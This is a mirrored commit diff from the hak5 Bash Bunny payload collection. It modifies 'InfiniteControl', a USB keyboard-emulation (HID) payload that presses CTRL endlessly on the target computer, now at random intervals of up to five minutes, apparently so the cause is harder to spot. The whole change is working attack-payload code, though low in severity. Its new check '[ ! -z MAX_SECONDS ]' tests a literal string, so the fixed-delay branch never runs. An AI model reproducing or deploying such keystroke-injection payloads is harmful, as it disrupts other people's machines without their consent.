mirror of
https://github.com/hak5/bashbunny-payloads.git
synced 2025-10-29 16:58:25 +00:00
Add random interval to InfiniteControl payload (#310)
This commit is contained in:
@@ -26,6 +26,13 @@ ATTACKMODE HID
|
|||||||
INFINITE_KEY=CTRL
|
INFINITE_KEY=CTRL
|
||||||
#INFINITE_KEY=BREAK
|
#INFINITE_KEY=BREAK
|
||||||
|
|
||||||
|
# Setting MAX_SECONDS will utilize random value
|
||||||
|
# else leave blank, "MAX_SECONDS=", to use
|
||||||
|
# FIXED_SECONDS value every time.
|
||||||
|
# 300 == 5min
|
||||||
|
MAX_SECONDS=300
|
||||||
|
FIXED_SECONDS=9
|
||||||
|
|
||||||
# infinite while loop
|
# infinite while loop
|
||||||
while true
|
while true
|
||||||
do
|
do
|
||||||
@@ -33,7 +40,13 @@ do
|
|||||||
QUACK $INFINITE_KEY
|
QUACK $INFINITE_KEY
|
||||||
sleep 1
|
sleep 1
|
||||||
LED ATTACK
|
LED ATTACK
|
||||||
sleep 9
|
# Slight change from original to support "random"
|
||||||
|
# delays between key presses.
|
||||||
|
if [ ! -z MAX_SECONDS ]; then
|
||||||
|
sleep $(($RANDOM % $MAX_SECONDS))
|
||||||
|
else
|
||||||
|
sleep $FIXED_SECONDS
|
||||||
|
fi
|
||||||
done
|
done
|
||||||
|
|
||||||
# this code will never be reached
|
# this code will never be reached
|
||||||
|
|||||||
Reference in New Issue
Block a user